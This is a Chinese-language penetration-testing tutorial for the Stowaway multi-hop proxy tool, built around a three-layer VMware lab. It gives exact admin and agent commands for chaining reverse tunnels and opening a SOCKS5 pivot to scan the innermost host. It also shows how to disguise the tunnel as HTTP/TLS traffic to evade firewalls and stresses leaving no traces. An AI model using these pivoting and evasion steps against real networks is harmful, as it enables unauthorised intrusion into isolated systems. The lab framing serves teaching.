在复杂内网渗透场景中,多层隔离、NAT转发、防火墙限制等问题常常成为渗透测试的“拦路虎”,攻击机无法直接访问深层内网主机,导致渗透工作难以推进。Stowaway作为一款轻量、跨平台、高加密的多级代理工具,凭借其树状节点管理、多协议支持等特性,成为解决多层内网穿透问题的优选工具。本文将从工具特性、环境搭建、实战操作、进阶技巧四个维度,详细讲解如何使用Stowaway实现多层内网代理,助力渗透测试高效推进。

一、Stowaway工具核心特性解析

Stowaway是基于Go语言开发的开源多级内网代理与隧道工具,专为渗透测试场景设计,灵感源自Venom,但在轻量性和灵活性上更具优势,其核心特性完美适配复杂内网环境的渗透需求:

  • 多级级联能力:支持树状节点网络架构,可实现无限层级的跳板代理,轻松穿透DMZ、内网一区、内网二区等多层隔离网络,贴合真实内网拓扑。

  • 双角色灵活部署:分为Admin(主控端,部署在攻击机)和Agent(代理节点,部署在跳板机),支持正向连接、反向连接两种模式,适配不同网络连通性场景(跳板机能出网/不出网)。

  • 多协议与高加密:支持TCP、HTTP、WebSocket、TLS等多种传输协议,可根据防火墙策略灵活选择;采用AES-256-GCM全链路加密,有效避免流量被嗅探、拦截,提升代理隐蔽性。

  • 丰富核心功能:除基础的SOCKS5代理(支持TCP/UDP/IPv6)外,还支持本地/远程端口映射、远程Shell、文件上传下载、节点拓扑可视化、自动重连等功能,满足渗透测试全流程需求。

  • 全平台兼容:支持Linux、Windows、macOS、ARM、MIPS等多种系统,可应对内网混合系统环境(如Windows服务器+Linux工作站),无需额外适配。

相较于Venom、Chisel等同类工具,Stowaway的优势在于轻量(单文件部署,无需依赖)、节点管理清晰(可视化拓扑)、协议灵活(可伪装为HTTP/HTTPS流量),更适合快速部署、多层级联的渗透场景。
[Github地址](ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters)

二、测试环境搭建(多层内网模拟)

为贴合真实内网渗透场景,我们使用VMware搭建三层隔离内网环境,模拟“攻击机→DMZ边界服务器→内网一区→内网二区”的多层拓扑,确保每一层只能单向连通,无法跨层直接访问,为Stowaway代理测试提供真实场景支撑。

2.1 环境规划(4台虚拟机)

机器角色系统版本网卡配置IP地址连通性说明
攻击机(Admin)Kali Linux网卡1:NAT**NAT-SSH:192.168.18.128可访问外网,仅能连通DMZ服务器
DMZ边界服务器(Agent1)Ubuntu 24.04网卡1:(NAT)
网卡2:仅主机模式(VMnet2)
NAT-SSH:192.168.18.153
VMnet2:192.168.77.10/24
可访问外网、内网一区,无法访问内网二区
内网一区服务器(Agent2)Ubuntu 24.04网卡1:仅主机模式(VMnet2)
网卡2:仅主机模式(VMnet3)
VMnet2:192.168.77.20/24
VMnet3:10.0.0.20/24
可访问DMZ、内网二区,无法访问外网
内网二区服务器(Agent3)Ubuntu 24.04网卡1:仅主机模式(VMnet3)VMnet3:10.0.0.30/24仅能访问内网一区,无法访问外网、DMZ

2.2 VMware虚拟网卡配置

打开VMware“虚拟网络编辑器”,手动配置两个仅主机模式网卡,关闭DHCP(避免IP自动分配导致拓扑混乱):

  1. VMnet2:子网地址192.168.77.0/24,子网掩码255.255.255.0,关闭DHCP服务;

  2. VMnet3:子网地址10.0.0.0/24,子网掩码255.255.255.0,关闭DHCP服务。

2.3 连通性验证

环境配置完成后,需逐一验证连通性,确保多层隔离效果符合预期(核心:只能逐层连通,无法跨层访问):

  • Kali攻击机:ping 192.168.77.10(通)、ping 192.168.77.20(不通)、ping 10.0.0.30(不通);

  • DMZ服务器:ping 192.168.77.20(通)、ping 10.0.0.30(不通);

  • 内网一区服务器:ping 10.0.0.30(通)、ping 192.168.18.152(不通);

  • 内网二区服务器:ping 10.0.0.20(通)、ping 192.168.77.10(不通)。

连通性验证通过后,多层内网环境搭建完成,可开始部署Stowaway代理隧道。

三、Stowaway实战:多层代理隧道搭建全流程

本次实战核心目标:通过Stowaway搭建“Kali(Admin)→ DMZ(Agent1)→ 内网一区(Agent2)→ 内网二区(Agent3)”的三级代理隧道,实现Kali攻击机直接访问最内层内网二区服务器,完成渗透测试常用操作(如端口扫描、远程连接)。

3.1 工具准备

  1. 下载Stowaway:从GitHub仓库下载对应系统的二进制文件,解压后得到Admin(主控端)和Agent(节点端)两个可执行文件;

  2. 部署工具:将Admin文件上传至Kali攻击机,将对应系统的Agent文件分别上传至DMZ、内网一区、内网二区服务器(如Windows用.exe文件,Linux用amd64文件);

  3. 权限配置:给Linux系统的Agent文件添加执行权限(chmod +x stowaway_agent),Windows系统直接运行即可。

3.2 核心使用说明

Stowaway一共包含两种角色,分别是:

  • admin 渗透测试者使用的主控端
  • agent 渗透测试者部署的被控端

名词定义

  • 节点: 指admin || agent
  • 主动模式: 指当前操作的节点主动连接另一个节点
  • 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
  • 上游: 指当前操作的节点与其父节点之间的流量
  • 下游:指当前操作的节点与其所有子节点之间的流量

Stowaway的核心操作依赖Admin和Agent的参数配置,重点记住以下常用参数(所有节点的密钥必须一致,否则无法建立连接):

Admin(主控端,Kali)

  • -l [ip]:port:监听端口,用于接收Agent的连接(被动模式,常用);

  • -c [ip]:port:主动连接上级节点(正向模式,极少用);

  • -s secret:加密密钥,所有Agent必须使用相同密钥;

  • --down 下游协议类型,默认为裸TCP流量,可选HTTP/WS

Agent(节点端,跳板机)

  • -c [ip]:port:主动连接上级节点(反向模式,最常用,适配跳板不出网场景);

  • -l [ip]:port:监听端口,等待下级节点连接;

  • -s secret:与Admin一致的加密密钥;

  • --up 上游协议类型,默认为裸TCP流量,可选HTTP/WS

  • --down 下游协议类型,默认为裸TCP流量,可选HTTP/WS

3.3 三级代理隧道搭建步骤

步骤1:Kali攻击机启动Admin主控端

在Kali终端执行命令,启动Admin监听,设置监听端口9999,密钥test123(可自定义,后续所有Agent需一致):

./linux_x64_admin.linux_x64_admin -l 0.0.0.0:9999 -s test123

执行后,Admin开始监听9999端口,等待Agent节点连接。

步骤2:DMZ服务器(Agent1)反向连接Admin

DMZ服务器作为第一层跳板(入口节点),需主动反向连接Kali的Admin,执行命令(注意替换Kali的实际IP):

./linux_x64_agent.linux_x64_agent-c 192.168.18.128:9999 -s test123

此时回到Kali的Admin控制台,输入“topo”命令,可看到节点1(DMZ服务器)已上线,拓扑显示为“Admin → 节点0”。
image.png

步骤3:内网一区服务器(Agent2)连接DMZ节点

内网一区服务器无法访问外网,只能连接DMZ服务器,需先在Admin控制台切换到节点0(DMZ),让其监听9998端口,供下级Agent连接:

# Admin控制台输入
use 0  # 切换到节点1(DMZ)
listen # (选择Normal passive)
#输入ip:port 0.0.0.0:9998

image.png

然后在了你内网一区服务器终端,执行命令连接DMZ的9998端口:

./linux_x64_agent.linux_x64_agent -c 192.168.77.10:9998 -s test123

Admin控制台再次输入“topo”,可看到节点1(内网一区服务器)上线,拓扑更新为“Admin → 节点0 → 节点1”。
image.png

步骤4:内网二区服务器(Agent3)连接内网一区节点

内网二区是最深层节点,仅能访问内网一区,重复步骤3的逻辑:先在Admin控制台切换到节点1(内网一区),让其监听9997端口:

# Admin控制台输入
use 1  # 切换到节点1(内网一区)
listen # (选择Normal passive)
# 输入ip:port 0.0.0.0:9997

在Windows内网二区服务器,双击运行Agent文件,在命令行输入(注意替换内网一区的IP):

linux_x64_agent.linux_x64_agent -c 10.0.0.20:9997 -s test123

此时Admin控制台输入“topo”,可看到节点3(内网二区服务器)上线,三级拓扑搭建完成:“Admin → 节点0(DMZ)→ 节点1(内网一区)→ 节点2(内网二区)”。
image.png

步骤5:开启SOCKS5代理,穿透至最深层内网

代理隧道搭建完成后,需在Admin控制台开启SOCKS5代理,让Kali攻击机通过代理访问内网二区:

# Admin控制台输入
use 2  # 切换到最深层节点2(内网二区)
socks 1080  # 在Kali本地开启1080端口的SOCKS5代理

执行后,Kali本地的127.0.0.1:1080端口即为穿透三层内网的SOCKS5代理,可通过proxychains(Linux)或Proxifier(Windows)配置代理,实现对深层内网的访问。

3.4 代理有效性测试

配置proxychains(Kali默认自带),修改配置文件/etc/proxychains4.conf,添加SOCKS5代理:

vim /etc/proxychains4.conf
socks5  127.0.0.1 1080

执行以下命令,测试是否能访问内网二区服务器:

# 端口扫描(测试内网二区22端口)
proxychains nmap -sT -Pn 10.0.0.30 -p 22

# 远程连接内网二区服务器
proxychains rdesktop 10.0.0.30:3389

image.png

若能成功扫描到端口、建立远程连接,说明Stowaway多层代理隧道搭建成功,Kali攻击机已实现对最深层内网的穿透访问。

四、进阶技巧与避坑指南

在真实内网渗透场景中,仅掌握基础搭建流程远远不够,需结合环境特点优化配置、规避风险,以下是关键技巧与避坑点:

4.1 流量伪装,规避防火墙拦截

若内网防火墙限制陌生协议(仅放行80/443端口),可将Stowaway的传输协议改为HTTP或TLS,伪装成正常Web流量,避免被拦截:

# Admin端(Kali)开启HTTP协议监听
./linux_x64_admin.linux_x64_admin -l 0.0.0.0:80 -s test123 --down HTTP --tls-enable

# Agent端(跳板机)用HTTP协议连接
./linux_x64_agent.linux_x64_agent -c 192.168.18.128:80 -s test123 --up HTTP --tls-enable

若需更高隐蔽性,可使用TLS协议(443端口),模拟HTTPS流量,进一步降低被检测风险。

4.2 端口复用,避免端口暴露

若跳板机的常用端口(如9999、9998)被防火墙限制,仅开放80/443端口,可使用Stowaway的端口复用功能,复用80/443等已开放端口,不影响原服务运行:详见:端口复用机制

4.3 节点管理与稳定性优化

  • 节点重连:若跳板机重启或网络中断,Stowaway支持自动重连,无需手动重新部署;

  • 拓扑管理:使用“topo”命令查看节点状态,“use 节点ID”切换节点,“back”退出当前节点;

五、总结

Stowaway凭借轻量、跨平台、多级级联、高隐蔽性等优势,完美解决了多层内网渗透中的代理穿透问题。本文通过模拟真实多层内网环境,详细讲解了Stowaway的部署、配置、实战操作及进阶技巧,核心逻辑是“逐层搭建代理节点、正向/反向结合、流量伪装优化”。

在实际渗透测试中,需结合内网拓扑、防火墙策略灵活调整代理模式(正向/反向)和传输协议,同时注重操作隐蔽性,避免留下痕迹。掌握Stowaway的使用方法,能有效突破多层内网隔离的限制,提升渗透测试的效率和成功率。

后续可进一步探索Stowaway与Cobalt Strike、Metasploit等工具的联动使用,实现更高效的内网渗透工作。